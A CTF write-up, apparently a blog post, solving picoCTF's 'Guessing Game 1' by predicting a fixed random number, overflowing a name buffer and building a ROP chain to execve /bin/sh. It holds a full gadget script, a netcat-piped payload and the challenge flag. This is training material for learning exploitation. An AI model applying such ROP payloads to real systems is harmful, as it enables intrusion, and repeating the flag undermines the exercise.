Hacking Series Part 3

Challenge: Guessing Game 1

97108
5 min readJan 28, 2021

--

Category: binary exploitation

We are given three files consisting of “vuln”, “vuln.c”, and “Makefile”. The binary vuln can be run and simulates a simple guessing game. From the source code given (vuln.c), we can see that if the correct number is guessed, the user can enter a name up to 360 characters long. We can also see that the buffer that stores this name is only 100 characters long, which means this program is vulnerable to a buffer overflow.

The first thing to do is figure out a way to guess the “random” number successfully every time the program is run. In order to do this, I opened vuln in IDA to see if there are any patterns that appear to be manipulating the number that is used. In the function do_stuff, a function named get_random is called which is where the random number is produced.

The result from get_random is stored in rdi, then is incremented by 1. Instead of following each instruction to figure out what number is produced in the end, I opened vuln in gdb and set a breakpoint after the function get_random is called. Then, I looked inside rax to determine the number and also ran the program multiple times to see if this number changed. It turns out that the number generated from get_random is always 83. This number does not change with multiple instances of the program, which means it is predictable.

As stated before, this number is incremented by 1 then compared to the inputted guess of the user to see if they are correct. So in the end, the number that needs to be guessed is always 84 on the first try.

Next, since we guessed the number correctly, the program asks for our name. Since we can preform a buffer overflow here, we will need to determine the correct amount of padding needed to overwrite rip. After several attempts, I determined that the amount of padding needed is 120 characters. After this number, we reach rip and can now work on exploiting the buffer.

Since we have over 200 characters of space left, we can easily store shell code in the rest of the buffer, then execute from the stack. However, by looking at the contents of Makefile, I saw that this is not possible.

The stack is non-executable. This means that this will need to a ROP based attack instead. In order to spawn a shell, I decided to call execve with /bin/sh as the program to run. In order to call execve with a syscall, the registers need to be in the following states:

  • rax 59 — the number for execve
  • rdx 0 — address to environment variables
  • rsi 0 — address to arguments
  • rdi address of /bin/sh — path to program to execute

After this, we can call syscall to get a shell on the system and find the flag. In order to get the registers in this state, we need to identify the following gadgets:

  • pop rax ; ret
  • pop rsi ; ret
  • pop rdi ; ret
  • pop rdx ; ret
  • mov qword ptr [rsi], rax ; ret
  • syscall

There are mainly two stages to this ROP: the write stage and the execute stage. In the write stage, /bin/bash is stored in an empty data address in the binary so that it is easy to access later in the execute stage. This makes also makes the size of the shell code smaller. In the execute stage, the registers are set to the values they need to contain and execve is executed.

Using ROPgadget, we can easily identify where these gadgets reside in the binary.

Now that we know the address of each gadget, we can start writing instructions for the write stage. I did this in Python using some instructions provided by ROPgadget.

Now, /bin/sh is stored in the address 0x00000000006ba160 after these instructions are executed (being a 64-bit binary). Next, we move on to the execute stage.

This executes execve and gives us a shell when completed. Putting these two stages together, we get the following script.

from struct import pack#write
p = pack(‘<Q’, 0x4163f4) # pop rax ; ret
p += b’/bin/sh\x00'
p += pack(‘<Q’, 0x410ca3) # pop rsi ; ret
p += pack(‘<Q’, 0x6ba160) # empty data address that I want /bin/sh to be in
p += pack(‘<Q’, 0x47ff91) # mov qword ptr [rsi], rax ; ret
#execute
p += pack(‘<Q’, 0x400696) # pop rdi ; ret
p += pack(‘<Q’, 0x6ba160) # empty data address that /bin/sh is in
p += pack(‘<Q’, 0x410ca3) # pop rsi ; ret
p += pack(‘<Q’, 0x0) # arguments
p += pack(‘<Q’, 0x44a6b5) # pop rdx ; ret
p += pack(‘<Q’, 0x0) # environment variables
p += pack(‘<Q’, 0x4163f4) # pop rax ; ret ; pops 59 into rax
p += pack(‘<Q’, 0x3b) # 59
p += pack(‘<Q’, 0x40137c) # syscall
print(p)

This also prints the resulting shell code bytes so that they can be used in the payload to the server. The payload needs to include the number to guess, the padding, and the shell code. In order to return input back to the user to actually interact with the shell once it is spawned, we also need to include the cat command. The entire payload then needs to be piped to the server which we can connect to using netcat.

In order to make sure the bytes are interpreted properly, we can use Python to print them. Python can also be used to print 84 (the number needed to be guessed) before the shell code is inserted. As a result, the payload looks like this.

( python -c ‘print(84)’ ; python -c ‘print(“a”*120+”\xf4cA\x00\x00\x00\x00\x00/bin/sh\x00\xa3\x0cA\x00\x00\x00\x00\x00`\xa1k\x00\x00\x00\x00\x00\x91\xffG\x00\x00\x00\x00\x00\x96\x06@\x00\x00\x00\x00\x00`\xa1k\x00\x00\x00\x00\x00\xa3\x0cA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\xa6D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4cA\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00|\x13@\x00\x00\x00\x00\x00")’ ; cat ) | nc jupiter.challenges.picoctf.org 39940

After listing the files found on the server, I used cat to see the contents of flag.txt. I found the following flag.

picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_8cd37a0911d46b6b}

--

--

97108

I like to make things.